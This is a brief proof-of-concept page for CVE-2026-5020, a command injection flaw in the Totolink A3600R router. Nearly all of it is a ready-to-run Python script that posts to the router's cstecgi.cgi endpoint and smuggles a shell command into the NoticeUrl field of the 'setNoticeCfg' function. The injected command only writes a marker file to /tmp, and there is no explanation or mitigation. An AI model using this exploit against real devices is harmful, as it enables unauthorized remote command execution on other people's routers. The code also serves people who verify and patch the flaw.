CVE-2026-5020 Totolink A3600R命令注入漏洞

import requests # Target URL url = "http://target_ip/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Vulnerable payload # Injecting a command to echo a string or ping a server to verify RCE # Example: ;echo pwned payload = { "function": "setNoticeCfg", "NoticeUrl": "http://example.com; echo Vulnerable > /tmp/poc.txt" # Command injection } try: # Send POST request response = requests.post(url, data=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")